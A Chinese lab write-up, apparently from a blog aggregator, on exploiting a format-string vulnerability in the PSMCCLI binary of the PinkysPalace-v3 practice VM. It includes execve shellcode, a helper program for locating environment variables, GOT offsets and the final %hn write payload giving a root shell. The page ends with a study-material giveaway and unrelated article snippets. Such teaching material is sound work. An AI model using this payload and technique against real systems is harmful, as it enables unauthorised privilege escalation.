红队项目PinkysPalace格式字符串缓冲区溢出详解

news2024/11/15 17:58:52

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

项目三十六:PinkysPalace-v3,考验了缓冲区溢出知识,该项目存在非常多的知识点,存在PSMCCLI文件,该项目是乌班图环境运行着exe文件,该文件是Pink Sec的控制台程序,该环境就和AWD中的PWN题目一样,直播教学会有多种方法详细解释如何理解缓冲区溢出,如何发现缓冲区溢出,遇到缓冲区溢出如何利用,栈是什么等等问题详解。

接下来我讲分享其中方法一给到各位小伙伴学习,欢迎大佬

二、项目介绍

该项目存在非常多的知识点和防护手段,需要很强的基础知识和渗透手段才可以攻破拿到该服务器权限,一路旅程从:

外网信息收集->模块Nday->端口转发->数据库枚举->Fuzz测试->内部信息枚举->So库手写提权

才到咱们本章最有意思的格式字符串缓冲区溢出点,当然前面的逻辑贯穿能力也不可缺失,接下来将详细介绍格式字符串缓冲区如何溢出提权的,在栈空间中遨游!

1648989753_624996396fef58f42b550.png!small?1648989755645

通过nm工具详细私下So库文件,并利用So库手写恶意库并植入psbanner、psopt、psoption函数提权后,进入了缓冲区的世界内,今天仅仅讲解缓冲区溢出,让各位学到更多,接下来是通过提权拿到了该普通用户权限:
 

1648989761_62499641be1857c8740b7.png!small?1648989766384


[+] Pink Sec Management Console CLI
Pink Sec的控制台程序,疑似存在缓冲区溢出!

三、下载程序

将该文件base64转发下载到本地进行逆向分析:
1)base64转码

1648989766_62499646bec6f1d651998.png!small?1648989782692

cd /usr/local/bin/
base64 PSMCCLI

2)将转码值写入本地文本并解码成文件

1648989772_6249964c8b7c2ca5ab216.png!small?1648989782692

vi base64.txt   ---放入base64编译值
cat base64.txt | base64 -d > PSMCCLI
md5sum PSMCCLI   ---双方MD5值对比(因MD5不可逆)

四、缓冲区溢出测试

使用python测试是否存在缓冲区溢出,当然perl也是可以的。

1648989777_624996511134fb8ca39ee.png!small?1648989782692

./PSMCCLI $(python -c 'print "A"*100')
./PSMCCLI $(python -c 'print "A"*200')
./PSMCCLI $(python -c 'print "A"*2000')

将100、200、2000....个A发送给程序,都未能造成分段错误等情况,不存在缓冲区溢出?

缓冲区溢出分为栈溢出、堆溢出、格式字符串溢出,目前仅仅测试了最基础的溢出手法,来看看该程序的函数主体,将用到GDB!

gdb是GNU开源组织发布的一个强大的Linux下的程序调试工具,逆向分析有非常多好用的工具,但是GDB毋庸置疑是最强之一,它的pwndbg和peda插件那就是辅助GDB上神器行列的最强帮手。

1648989785_624996597d1c61d47c746.png!small?1648989800664

chmod +x PSMCCLI   ---赋权
gdb PSMCCLI    ---gdb调试
disas main    ---查看主函数
disas argshow   ---主函数调用了argshow进行深部查看

argshow用于显示参数,被main函数调用,可以在argshow中看到两个printf调用!再说格式化字符串漏洞之前,先了解一下printf函数和利用该漏洞的重要格式化字符串%n,利用他可以做到任意内存写入!

函数原型

int printf ("格式化字符串",参量... )

函数的返回值是正确输出的字符的个数,如果输出失败,返回负值。

参量表中参数的个数是不定的(如何实现参数的个数不定,可以参考《程序员的自我修养》这本书),可以是一个,可以是两个,三个...,也可以没有参数。
printf函数的格式化字符串常见的有%d,%f,%c,%s,%x(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x)等等。
但是有个不常见的格式化字符串%n,它的功能是将%n之前打印出来的字符个数,赋值给一个变量。

除了%n,还有%hn,%hhn,%lln,分别为写入目标空间2字节,1字节,8字节。注意是对应参数(这个参数是指针)的对应的地址开始起几个字节。不要觉得%lln,取的是8个字节的指针,%n取的就是4个字节的指针,取的是多少字节的指针只跟程序的位数有关,如果是32位的程序,%n取的就是4字节指针,64位取的就是8字节指针,这是因为不同位数的程序,每个参数对应的字节数是不同的。

该处调用了两个printf,调用可能会产生格式字符串漏洞!测试!

1648989794_624996621969b3f9c717c.png!small?1648989800664

./PSMCCLI %x                           
[+] Args: f7f34480

%x是printf支持的格式字符串!用来显示关联十六进制输入数值!通过输入%x从堆栈中获取一个值:Args: f7f34480,将内存当做参数以16进制输出,这样就会造成内存泄露,可查看该二进制程序会受到格式字符串漏洞的影响导致溢出!

五、格式字符串缓冲区溢出攻击

1、查看二进制程序启用的安全保护

ELF安全特性检查工具:hardening-check
详细参考使用文章:

http://manpages.ubuntu.com/manpages/trusty/man1/hardening-check.1.html

1648989801_624996694c536cd18a1f2.png!small?1648989802709

Read-only relocations: yes

七种安全机制六种都显示no, not found!仅RELocation Read-Only只读重定位开启,这是一个简单直接的格式字符串漏洞!

RELRO(Relocation Read Only)重定向只读解读:
在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域,所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处。

原理
GCC,GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术:read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过relocation之后的区域为只读,用来防御hijack GOT攻击。

设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为"Partial RELRO",说明我们对GOT表具有写权限。

2、shellcode写入环境空间

1)攻击思路

格式字符串允许利用两个基本的攻击向量:

1. 直接内存访问:使用%x格式字符串和位置值,可以打印或访问堆栈中的任何内存位置。
2. 写入位置的能力:可以使用%n格式字符串写入任何位置,%n将到目前为止打印的字符数写入所选位置。

那么思路很清晰了,先用%x定位位置,在位置中%n植入shellcode,用%hn执行。

2)选择shellcode

shellcode最大轻量网站之一:

http://shell-storm.org/shellcode/files/shellcode-827.php

我选择了827,当然别的也是能过的,主要基于系统环境决定即可。

1648989808_624996709eb4382bde32e.png!small?1648989809403

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

把核心shellcode拿出,利用格式字符串漏洞,通常将shell代码放在环境变量中,并将程序流重定向到环境变量的地址即可!

3)shellcode写入环境

将偏移量移到/tmp目录中,并对其进行排序,用python写入:

1648989816_62499678165a3aad9327b.png!small?1648989816720

export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

3、获取执行shellcode栈地址

因为在argshow函数中调用了两个printf,当printf结束后执行的是putchar函数,这边思路覆盖putchar函数,因为它是printf之后的下一个函数,要获取需要覆盖的位置,我在运行程序之前先拆装了putchar函数,方便包含它在运行时加载的地址:

1648989820_6249967cb22c9a5ae8063.png!small?1648989824931

gdb PSMCCLI
disas putchar
0x804a01c

获得putchar的栈地址!

4、定位环境变量的地址

当环境变量中植入shellcode后,需要找到覆盖覆盖函数的地址!
植入shellcode需要找到地址该脚本可以找:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}

将保存到:getenvaddr.c(在项目环境操作)

1648989828_62499684044937dd8c3ea.png!small?1648989834760

nano getenvaddr.c
gcc -o getenvaddr getenvaddr.c
chmod +x getenvaddr

gcc编译getenvaddr二进制文件,开始查看变量空间地址!

1648989832_624996883533da8d01b8d.png!small?1648989834760

./getenvaddr
Usage: ./getenvaddr <environment variable> <target program name>

前面已经将shellcode放入环境变量中了,现在可以使用SPAWN在执行目标二进制文件期间找到环境变量在内存中的位置:

1648989836_6249968c29f6fb84ffcbc.png!small?1648989837113

./getenvaddr SPAWN /usr/local/bin/PSMCCLI
SPAWN will be at 0xbffffe94

shellcode地址:0xbffffe94 ---要覆盖的内存地址
putchar地址:0x0804a01c ---写入的地址
所以此时有两个地址,需要将shell代码的地址写入putchar的指针存放位置。

5、确认Args位置

此时有两个地址需要将shell代码的地址写入putchar的指针存放位置即可!
现在的目标是在参数中引入一些地址并尝试访问它们!在参数中引入了两个地址 AAAA (0x41414141) 和 BBBB (0x42424242)!还需要第三位填充(CCC)。

1648989840_62499690adfc05b3af5f1.png!small?1648989854584

/usr/local/bin/PSMCCLI AAAABBBBCCC$(python -c "print '%x.'*138")
......0.494c43.41414141.42424242.......

此处我用了三个C!
在此处必须找到完整的排序41414141,42424242对应四个A和B,如果不完整按照最前面讲解的基础加个0,可看到它们分布在两个内存中!
接下来需要确定这两个内存地址在什么位置!这里确认位置可以用for循环,也可以猜解!当然我在项目直播中是详细讲解了,来吧加油~

1648989844_62499694ea6e86e671e77.png!small?1648989854584

/usr/local/bin/PSMCCLI AAAABBBBCCC%135\$0x%136\$0x
[+] Args: AAAABBBBCCC4141414142424242

如果不起作用,就用C和0填充即可!找到了内存地址为135-136!

6、Exp-前半段地址确定

现在需要访问putchar指针的地址(要修改的地址),即0x0804a01c!32位架构中的内存为4字节(32位)大小。然而将使用格式字符串漏洞进行写入也就是两字节写入。所以需要把地址分成两个字节:

低位地址:0x0804a01c
高位地址:0x0804a01e(初始地址+2)

地址字节的顺序是颠倒写的:

1648989849_6249969970b3016a62c18.png!small?1648989854019

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%135\$0x%136\$0x
[+] Args: CC4a01c004a01e08

前半部分可以访问所需的地址值了!接下来就可以按照前面的思路,将%x改为%n进行写入内存地址操作!

7、Exp-后半段地址确定错误详解

只需将%x更改为%n即可!使用%x访问的内存位置!

1648989853_6249969d9f86479a54b47.png!small?1648989854585

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%135\$0n%136\$0n
Segmentation fault

终于报分段错误了,这就体现出了该处存在缓冲区溢出!那么为什么报错了?

这边出现了分段错误,因为%n会将到目前为止已打印的字符数写入正在访问的内存中,上面的代码会将11(0xb)写入高位和低位存储短字节中,这是一个非法地址,所以报错!那么接下来要找到正确的内存空间地址值进行计算准确!也是最难的一部!

8、内存空间准确计算定位

shellcode地址位置计算,需要将值0xbffffe94写入内存字节中,每个短字节最多只能容纳0xffff,因此需要将值拆分为两个短字节:

shellcode地址:0xbffffe94

打开计算器:选择程序员->HEX

1648989858_624996a20e82833937bf9.png!small?1648989862387

低位短字节地址: 0xfe94 = 65172   
高位短字节地址: 0xbfff = 49151

1648989863_624996a7620c22e097d58.png!small?1648989867140


在前面确认内存位置时,输入了:
AAAABBBBCCC(11个字节)两个四字节和三个C填充!

前半部分=49151 后半部分=65172-11bytes = 65161
接下来使用%u格式说明符来引入那么多额外的字符即可!

9、整数溢出思路写法

现在修复了低位短字节,需要将0xbfff写入高位短字节然后0xbff(3071)低于0xfe94!

1648989868_624996ac166ef7d1f3ac1.png!small?1648989869066

65161
49515
用了三个C

因此需要0x1bfff-0xfe94=49515个字符来写入所需的0xbfff值!
强调:这里需要计算器直接计算十六进制值,不要加减法单独计算!

10、最终payload

根据前面函数原型介绍提示,除了%n,还有%hn,%hhn,%lln,分别为写入目标空间2字节,1字节,8字节。接下来将使用%u定位内存空间刚计算出的准确位置,然后在用%hn进行写入目标的最底层字节空间中!

咱们这里拿出上面分段错误做个对比!
分段错误payload:

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%135\$0n%136\$0n

写入空间位置地址准确值:

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65161u%135\$0hn%49515u%136\$0hn

1648989877_624996b503b52e99411af.png!small?1648989878449


成功完成格式字符串缓冲区溢出,溢出提权!

六、经验总结

今天学到ELF格式字符串缓冲区溢出中GDB对程序进行逆向分析,熟悉查看二进制程序启用的安全保护、shellcode写入环境空间、获取执行shellcode栈地址、定位环境变量的地址、确认Args位置、Exp-前半段地址确定、Exp-后半段地址确定错误详解、内存空间准确计算定位、整数溢出思路写法、最终写出溢出payload的方法等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!

提醒:

1. 每次进入环境格式字符串缓冲区溢出内存地址、栈空间都是随机变动的!
2. 随着变动需要用C和0去调试格式字符串,从而达到每一步的效果。
3. 通过每一步的payload不可跳跃执行,需要仔细操作计算,例如%0x,接下也是对应即可
4. 计算空间准确值必须仔细,错一位数都无法溢出!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1701693.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何使用OutputStream类实现文件的读写操作?

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

Tensors张量操作

定义Tensor 下面是一个常见的tensor&#xff0c;包含了里面的数值&#xff0c;属性&#xff0c;以及存储位置 tensor([[0.3565&#xff0c;0.1826&#xff0c;0.6719],[0.6695&#xff0c;0.5364&#xff0c;0.7057]]&#xff0c;dtypetorch.float32,devicecuda:0)Tensor的属…

Vue2 Element-UI 分页组件el-pagination 修改 自带的total、跳转等默认文字

场景需求&#xff1a; Vue2 Element-UI 分页组件el-pagination 修改 自带的total、跳转等默认文字。如下图&#xff1a;默认提示字变成了英文&#xff0c;如何将其 变成 汉字提示呢&#xff1f; 解决方案&#xff1a; 1.方案1&#xff1a;修改DOM内容 不提倡此方案&#xf…

这个springboot项目好用!毕设、学习提升

最近好多小伙伴过来问 V 哥关于毕业设计项目的事情&#xff0c;对于计算机类的同鞋们来说还是为难的&#xff0c;自己在学校掌握的技术栈比较少&#xff0c;要完成一个解决某领域业务的实用性项目&#xff0c;难度还是不小的&#xff0c;这得从需求分析&#xff0c;功能设计&am…

大语言模型训练部署流程及步骤

01.确定需求大小 在构建大语言模型的前期准备中&#xff0c;基础设施是最为重要的&#xff0c;GPU的型号以及数据直接关系到模型的训练质量和训练时间。例如&#xff1a;使用单个V100的GPU训练具有1750亿个参数的GPT-3将需要约288年&#xff0c;那就更不用提现在动辄万亿参数的…

react-d3-tree:React组件创建交互式D3树形图

在这里插入代码片import React from "react"; import ReactDOM from "react-dom"; import Tree from "react-d3-tree";import "./styles.css";const myTreeData [{name: "Gaurang Torvekar",attributes: {keyA: "val …

基础7 探索JAVA图形编程桌面:数据库操作组件详解

在当今这个全面以数字化占据主导地位的时代&#xff0c;图形化编程犹如一颗冉冉升起的新星&#xff0c;逐渐在编程领域中崭露头角&#xff0c;并且正逐步成为一种全新的趋势。其具备的直观性以及易上手的显著特性&#xff0c;使得数量愈发庞大的开发者以及业务人员能够以更为快…

ENVI6.0试用版(180天)详细安装教程,附安装包链接和一些常见问题

ENVI6.0试用版&#xff08;180天&#xff09;详细安装教程&#xff0c;附安装包链接和一些常见问题 文章目录 ENVI6.0试用版&#xff08;180天&#xff09;详细安装教程&#xff0c;附安装包链接和一些常见问题前言环境来源安装激活问题 前言 如标题所示&#xff0c;这个只是试…

文本三剑客之 sed 编辑器

一.sed 概述 1.sed 介绍 sed是一种流编辑器&#xff0c;流编辑器会在编辑器处理数据之前基于预先提供的一组规则来编辑数据流。 sed编辑器可以根据命令来处理数据流中的数据&#xff0c;这些命令要么从命令行中输入&#xff0c;要么存储在一个 命令文本文件中。 2.sed 的工…

基于51单片机的电压表设计—0~5V

基于51单片机的电压表设计 &#xff08;仿真&#xff0b;程序&#xff0b;原理图&#xff0b;设计报告&#xff09; 功能介绍 具体功能&#xff1a; 1.ADC0832模数转换芯片实现电压的测量&#xff1b; 2.测量电压精确到0.01V&#xff1b; 3.测量范围默认是0~5v&#xff1b;…

汽车合面合壳密封UV胶固化后能持续多久密封呢?汽车车灯的灯罩如果破损破裂破洞了要怎么修复?

汽车合面合壳密封UV胶固化后能持续多久密封呢&#xff1f; UV胶在汽车合面合壳密封后的持久性取决于多种因素&#xff0c;包括UV胶的配方、环境条件、应力和使用情况等。一般而言&#xff0c;UV胶固化后的密封性能可以持续数年&#xff0c;我们可以从以下几个方面进行归纳&…

长难句打卡5.27

In fact, allowing non-lawyers to own shares in law firms would reduce costs and improve services to customers, by encouraging law firms to use technology and to employ professional managers to focus on improving firms’efficiency. 事实上&#xff0c;这通过…

AI日报|阿里8亿美元购入月之暗面36%股份,Meta首席杨立昆建议不要研究大模型...

文章推荐 阿里通义降价&#xff0c;百度文心免费&#xff0c;一图对比谁是最具性价比大模型&#xff1f; 阿里投资Kimi AI开发商月之暗面&#xff1a;8亿美元购入约36%股权 阿里巴巴在2024财年向AI初创企业月之暗面投资约8亿美元&#xff0c;购入其约36%股权。 月之暗面成立…

山东籍当代文化名人颜廷利起名大师的故事背景和历史背景

山东籍当代文化名人颜廷利起名大师的故事背景和历史背景 在当代中国文化界&#xff0c;全国排名第一是起名大师颜廷利教授的名字犹如一座学术高峰&#xff0c;其影响力横跨海内外。身为一位深受全球华人尊崇的学者&#xff0c;他的思想与教诲在国际间播撒着智慧的种子&#xff…

苹果WWDC 2024或将推出AI生成的表情符号并宣布与OpenAI的合作|TodayAI

苹果正在为即将到来的WWDC&#xff08;全球开发者大会&#xff09;做准备&#xff0c;并将展示其生成式AI技术。根据Mark Gurman在Bloomberg的《Power On》通讯中的报道&#xff0c;苹果将在2024年的WWDC上讲述自己的AI故事&#xff0c;但这可能不会像Google、Microsoft或OpenA…

全球前五!ATFX 2024年Q1业绩狂飙,6240亿美元交易量彰显实力

5月&#xff0c;密集发布的报告显示&#xff0c;强者恒强是差价合约行业不变的竞争逻辑。而ATFX最新展现的业绩无疑是这一逻辑的有力例证。依照惯例&#xff0c;知名行业媒体Finance Magnates日前公布了全球经纪商最为关注的2024年第一季度行业报告。报告数据显示&#xff0c;A…

智慧校园建设规划方案

在信息化浪潮的推动下&#xff0c;智慧校园的建设已成为教育现代化的必然趋势。以创新科技赋能教育&#xff0c;打造智慧校园&#xff0c;旨在提升教学品质&#xff0c;优化管理流程&#xff0c;增强学生体验。构建智慧校园需要具有前瞻性的规划方案&#xff0c;它将以教育为核…

LLM 大模型学习必知必会系列(十二):VLLM性能飞跃部署实践:从推理加速到高效部署的全方位优化[更多内容:XInference/FastChat等框架]

LLM 大模型学习必知必会系列(十二)&#xff1a;VLLM性能飞跃部署实践&#xff1a;从推理加速到高效部署的全方位优化[更多内容&#xff1a;XInference/FastChat等框架] 训练后的模型会用于推理或者部署。推理即使用模型用输入获得输出的过程&#xff0c;部署是将模型发布到恒定…

用友电子凭证解决方案,加速企业电子凭证全链路管理

2023年&#xff0c;财政部等9部委联合推进电子凭证数据标准及试点工作&#xff0c;目前逐步扩大试点范围&#xff0c;覆盖市场应用高频的9类凭证。2024年&#xff0c;财政部办公厅发布了《关于继续开展电子凭证会计数据标准深化试点工作的通知》对电子凭证进行全流程常态化处理…

google浏览器下载和相应驱动下载

1、chromedriver 115及115之后版本下载地址&#xff1a; https://googlechromelabs.github.io/chrome-for-testing/ 2、chromedriver 115之前版本下载地址&#xff08;已停止更新115及之后版本&#xff09;&#xff1a; http://chromedriver.storage.googleapis.com/index.html…